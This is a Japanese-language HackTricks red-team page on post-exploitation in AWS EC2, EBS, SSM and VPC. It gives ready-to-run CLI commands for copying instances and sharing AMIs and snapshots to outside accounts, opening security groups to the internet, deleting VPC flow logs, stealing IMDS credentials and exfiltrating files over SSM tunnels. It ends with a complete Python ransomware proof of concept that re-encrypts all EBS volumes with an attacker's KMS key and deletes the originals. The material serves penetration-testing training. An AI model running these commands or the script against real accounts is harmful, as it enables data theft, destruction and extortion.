AWS - EC2, EBS, SSM & VPC Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

EC2 & VPC

詳細は以下を参照してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring は、VPC 内の EC2 インスタンスに対するインバウンドおよびアウトバウンドのトラフィックを、インスタンス側に何もインストールすることなく複製します。複製されたトラフィックは通常、解析や監視のため network intrusion detection system (IDS) のようなシステムに送られます。
攻撃者はこれを悪用してすべてのトラフィックを傍受し、そこから機密情報を取得することができます:

詳しくはこのページを参照してください:

AWS - Malicious VPC Mirror

Copy Running Instance

EC2 インスタンスには通常、何らかの機密情報が含まれています。内部にアクセスする方法はいくつかあります(詳細は EC2 privilege escalation tricks を確認してください)。しかし、中身を確認する別の方法として、AMI を作成してそこから新しいインスタンス(自分のアカウント内でも可)を起動する、という手段があります:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, which usually will contain sensitive information, therefore checking them should disclose this information.
もしvolume without a snapshotを見つけたら、Create a snapshotを作成して以下の操作を行うか、アカウント内のインスタンスに単にmount it in an instanceしてください:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

CreateStoreImageTaskを使ってEC2 AMIを直接S3にエクスポートし、snapshot共有なしで生のディスクイメージを取得する。これにより、インスタンスのネットワークを変更せずに完全なオフラインフォレンジックやデータ窃取が可能になる。

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

別のインスタンスにio1/io2 Multi-Attachボリュームをアタッチし、読み取り専用でマウントしてsnapshotなしでライブデータを吸い上げる。被害ボリュームが同一AZ内で既にMulti-Attach有効な場合に有用。

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

EC2 Instance Connect Endpointを作成し、ingressを許可してエフェメラルなSSHキーを注入することで、マネージドトンネル経由でプライベートインスタンスへアクセスする。パブリックポートを開けずに迅速な横移動経路を確保できる。

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

被害者のENIのセカンダリprivate IPを攻撃者制御のENIに移動させ、IPでallowlistedされている信頼済みホストを偽装する。特定アドレスに紐づく内部ACLやSGルールの回避を可能にする。

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

被害インスタンスのElastic IPを攻撃者に再関連付けすることで、受信トラフィックを傍受したり、信頼されたパブリックIPからの発信に見せかけた接続を行える。

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

セキュリティグループのルールがcustomer-managed prefix listを参照している場合、そのリストに攻撃者CIDRを追加することで、SG自体を変更せずに依存するすべてのSGルールへのアクセスを黙って拡大できる。

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

gatewayまたはinterfaceのVPC endpointを作成して、分離されたサブネットからのアウトバウンドアクセスを取り戻す。AWS-managed private linksを利用することで、IGW/NATがない環境のデータ持ち出しを回避できる。

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

ec2:AuthorizeSecurityGroupIngress権限を持つ攻撃者は、セキュリティグループにインバウンドルールを追加できる(例: tcp:80 from 0.0.0.0/0)。その結果、内部サービスがパブリックインターネットや本来許可されていないネットワークに晒されることになる。

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

ec2:ReplaceNetworkAclEntry(または同等)の権限を持つ攻撃者は、subnet’s Network ACLs (NACLs) を変更して非常に許容的にすることができます。例えば、重要なポートで 0.0.0.0/0 を許可することで、サブネット全体の範囲をインターネットや不正なネットワークセグメントに晒すことになります。Security Groups が per-instance で適用されるのに対し、NACLs は subnet level で適用されるため、制限的な NACL を変更すると、より多くの hosts へのアクセスを可能にしてはるかに大きな blast radius を生じさせる可能性があります。

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

ec2:Delete* と iam:Remove* の権限を持つ攻撃者は、重要なインフラリソースや設定(例えば key pairs、launch templates/versions、AMIs/snapshots、volumes or attachments、security groups or rules、ENIs/network endpoints、route tables、gateways、または managed endpoints)を削除できます。これにより即時のサービス停止、データ損失、およびフォレンジック証拠の喪失が発生する可能性があります。

一例として、セキュリティグループを削除するコマンド:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウント外でネットワークメタデータ(送信元/宛先、ポート)を長期的に継続収集し、偵察を行うことができます。

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

たとえ EC2 をロックダウンして外向きトラフィックを遮断しても、exfil via DNS は依然として可能です。

  • VPC Flow Logs はこれを記録しません。
  • AWS DNS ログにはアクセスできません。
  • これを無効化するには、enableDnsSupport を false に設定します。例:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

攻撃者は自身が制御するアカウントの API エンドポイントを呼び出してデータを抜き出す可能性があります。Cloudtrail はこれらの呼び出しをログに残すため、攻撃者は Cloudtrail ログ内で流出させたデータを確認できます。

Open Security Group

次のようにポートを開くことで、さらにネットワークサービスへアクセスできるようになる可能性があります:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

EC2 インスタンスを起動して ECS インスタンスを実行するために登録し、その ECS インスタンスのデータを盗むことが可能です。

For more information check this.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

ECS の EC2 ランチタイプでは、コントロールプレーンが各タスクロールを引き受け、Agent Communication Service (ACS) の WebSocket チャネル経由で一時的な認証情報を ECS エージェントに渡します。エージェントはそれらの認証情報をタスクメタデータエンドポイント (169.254.170.2) 経由でコンテナに提供します。ECScape の調査は、コンテナが IMDS にアクセスして instance profile を盗める場合、ACS 上でエージェントを偽装してそのホスト上の every task role credential を受け取れることを示しています。これにはメタデータエンドポイントでは露出しない task execution role の認証情報も含まれ、ECR の pull、Secrets Manager からの取得、CloudWatch Logs へのアクセスを解放する可能性があります。

Find the PoC in https://github.com/naorhaziz/ecscape

Attack chain

  1. Steal the container instance role from IMDS. IMDS へのアクセスが必要で、ECS エージェントが使用するホストロールを取得します。
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. インスタンスロールの認証情報を使い、ecs:DiscoverPollEndpoint を呼んで ACS エンドポイントを取得し、cluster ARN や container instance ARN といった識別子を収集します。cluster ARN はタスクメタデータ (169.254.170.2/v4/) で公開されており、container instance ARN はエージェントの introspection API から、または(許可されていれば)ecs:ListContainerInstances で取得できます。

  2. Impersonate the ECS agent over ACS. SigV4 署名付きの WebSocket を poll エンドポイントに張り、sendCredentials=true を含めて接続を開始します。ECS は接続を有効なエージェントセッションとして受け入れ、そのインスタンス上のすべてのタスクに対する IamRoleCredentials メッセージのストリーミングを開始します。これには task execution role の認証情報も含まれ、ECR pull、Secrets Manager 取得、CloudWatch Logs へのアクセスを可能にします。

Find the PoC in https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

HttpTokens=requiredHttpPutResponseHopLimit=1 を設定した IMDSv2 は、追加のホップ(Docker bridge)の背後にいるタスクだけをブロックします。その他のネットワークモードは Nitro コントローラから1ホップ以内に収まるため、トークンとメタデータの応答を受け取れます。

ECS network modeIMDS reachable?Reason
awsvpc各タスクに専用の ENI が割り当てられ、IMDS からは依然として1ホップ内なので、トークンとメタデータの応答は正常に到着します。
hostタスクはホストの namespace を共有するため、EC2 インスタンスと同じホップ距離を見ます。
bridge余分なホップがあるため、Docker bridge 上で応答が失われて hop limit を使い果たします。

したがって、hop limit 1 が awsvpc や host モードのワークロードを保護すると決めつけないでください—必ずコンテナ内部からテストしてください。

Detecting IMDS blocks per network mode

  • awsvpc tasks: Nitro はリンクローカル 169.254.169.254 アドレスをオンホストに注入するため、セキュリティグループ、NACL、ルーティングの変更ではブロックできません。/etc/ecs/ecs.configECS_AWSVPC_BLOCK_IMDS=true があるか確認してください。フラグが無い(デフォルト)場合、タスクから直接 IMDS に curl できます。もしセットされているなら、ホスト/エージェントの namespace にピボットしてフラグを元に戻すか、awsvpc 外でツールを実行してください。

  • bridge mode: hop limit 1 が設定されているにもかかわらずメタデータ要求が失敗する場合、防御側が DOCKER-USER--in-interface docker+ --destination 169.254.169.254/32 --jump DROP のようなドロップルールを挿入している可能性があります。iptables -S DOCKER-USER を列挙すれば露見し、root 権限があれば IMDS を問い合わせる前にそのルールを削除または順序変更できます。

  • host mode: エージェント設定で ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false を確認してください。この設定はタスク IAM ロールを完全に削除するため、再有効化するか、awsvpc タスクに移動するか、ホスト上の別プロセス経由で認証情報を盗む必要があります。値が true(デフォルト)の場合、カスタムの eBPF/cgroup フィルタで 169.254.169.254 をターゲットにしていない限り、侵害されたコンテナを含むすべてのホストモードプロセスが IMDS にアクセスできます。tc/eBPF プログラムやそのアドレスを参照する iptables ルールを探してください。

Latacora は、どのネットワークモードがまだメタデータを公開しているかを列挙するためにターゲットアカウントに投入できる Terraform validation code を公開しています。

IMDS を公開しているモードを把握したら、ポストエクスプロイトの経路を計画できます: 任意の ECS タスクをターゲットにし、instance profile を要求し、エージェントを偽装してクラスタ内で横移動や永続化のために他のすべてのタスクロールを収集します。

VPC flow logs を削除する

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

必要な権限:

  • ssm:StartSession

コマンド実行に加えて、SSMはトラフィックのトンネリングを可能にします。これを悪用して、Security GroupsやNACLsによりネットワークアクセスがないEC2インスタンスからpivotすることができます。 これが有用なシナリオの一つは、Bastion Hostからprivate EKS clusterへpivotする場合です。

セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. ご自身のマシンにSessionManagerPluginをインストールします
  2. 次のコマンドを使ってBastion EC2にログインします:
aws ssm start-session --target "$INSTANCE_ID"
  1. Abusing SSRF in AWS EC2 environment スクリプトを使って Bastion EC2 の AWS 一時認証情報を取得する
  2. 取得した認証情報を自分のマシンの $HOME/.aws/credentials ファイルに [bastion-ec2] プロファイルとして転送する
  3. EKS に Bastion EC2 としてログインする:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config ファイルの server フィールドを https://localhost を指すように更新します
  2. 以下のように SSM tunnel を作成します:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectl ツールからのトラフィックは SSM トンネルを介して Bastion EC2 経由で転送されるようになり、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
kubectl get pods --insecure-skip-tls-verify

SSL 接続は --insecure-skip-tls-verify フラグ(または K8s audit tools の同等の設定)を設定しないと失敗することに注意してください。トラフィックが安全な AWS SSM トンネル経由でトンネリングされるため、あらゆる種類の MitM 攻撃からは安全です。

最後に、この手法は private EKS clusters を攻撃するために特化したものではありません。任意のドメインとポートを設定して、他の AWS サービスやカスタムアプリケーションにピボットできます。


クイック ローカル ↔️ リモート ポートフォワード (AWS-StartPortForwardingSession)

もし EC2 インスタンスからローカルホストへ 1つの TCP ポートのみを転送する 必要がある場合は、AWS-StartPortForwardingSession SSM ドキュメント(リモートホストのパラメータは不要)を使用できます:

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

このコマンドは、ワークステーション(localPortNumber)とインスタンス上の選択したポート(portNumber)の間に双方向トンネルを確立します。インバウンド Security-Group ルールを開くことなく

Common use cases:

  • File exfiltration
  1. インスタンス上で、exfiltrate したいディレクトリを指す簡易 HTTP サーバーを起動します:
python3 -m http.server 8000
  1. ワークステーションから SSM トンネル経由でファイルを取得します:
curl http://localhost:8000/loot.txt -o loot.txt
  • 内部の web アプリケーションへアクセス(例: Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

ヒント: CloudTrail が平文の内容をログに残さないように、exfiltrating する前に証拠を圧縮して暗号化してください:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI を共有

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

パブリックおよびプライベート AMIs 内の機密情報を検索

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel は パブリックまたはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、それらのボリュームをマウントして、潜在的な secrets や機密データをスキャンするプロセスを自動化します。

Share EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3 post-exploitation notesで示されたRansomwareデモに似たProof of Conceptです。KMSは、さまざまなAWSサービスを簡単に暗号化できることから、RMS(Ransomware Management Service)と呼ぶべきでしょう。

まず、‘attacker’ AWSアカウントからKMSにcustomer managed keyを作成します。この例ではキーのデータをAWSに管理させますが、現実的にはmalicious actorがキーをAWSの管理外に保持するでしょう。key policyを変更して、任意のAWS account Principalがキーを使用できるようにします。このkey policyでは、アカウント名は’AttackSim’で、すべてのアクセスを許可するポリシールールは’Outside Encryption’と名付けられています。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

キー ポリシールールは、EBS ボリュームを暗号化するためにそれを使用できるようにするため、次の有効化が必要です:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

現在、公開アクセス可能なキーが使用可能です。いくつかの unencrypted EBS ボリュームがアタッチされた EC2 インスタンスが起動している ‘victim’ アカウントを使用できます。この ‘victim’ アカウントの EBS ボリュームが暗号化の対象であり、この攻撃は高権限の AWS アカウントが侵害されたという想定の下で行われます。

Pasted image 20231231172655 Pasted image 20231231172734

S3 ransomware の例と同様に、この攻撃ではアタッチされた EBS ボリュームのコピーをスナップショットを使って作成し、‘attacker’ アカウントからの公開キーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使ったスナップショットを削除します。 Pasted image 20231231173130

これにより、アカウント内には暗号化された EBS ボリュームだけが残ります。

Pasted image 20231231173338

また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止した点にも注意してください。元の未暗号化ボリュームは現在消えています。

Pasted image 20231231173931

次に、‘attacker’ アカウントのキー ポリシーに戻り、キー ポリシーから ‘Outside Encryption’ ポリシールールを削除します。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

新しく設定したキー ポリシーが伝播するまで少し待ちます。次に ‘victim’ アカウントに戻り、新しく暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームをアタッチできることが確認できます。

Pasted image 20231231174131 Pasted image 20231231174258

しかし、暗号化された EBS ボリュームを接続したまま EC2 インスタンスを実際に起動しようとすると、起動に失敗して ‘pending’ 状態から再び ‘stopped’ 状態に戻ってしまいます。これは、接続された EBS ボリュームをキーで復号できず、キー ポリシーがそれを許可していないためです。

Pasted image 20231231174322 Pasted image 20231231174352

以下は使用された python スクリプトです。‘victim’ アカウントの AWS 認証情報と、暗号化に使用する公開されている AWS ARN 値を入力として受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能なすべての EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して元の EBS ボリュームをデタッチ・削除し、最終的に処理中に作成されたスナップショットもすべて削除します。結果として、対象の ‘victim’ アカウントには暗号化された EBS ボリュームだけが残ります。必ずテスト環境でのみこのスクリプトを使用してください。破壊的であり、元の EBS ボリュームをすべて削除します。使用した KMS キーを使ってスナップショットから復元すれば元の状態に戻すことは可能ですが、要するにこれはランサムウェアの PoC であることを理解しておいてください。

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする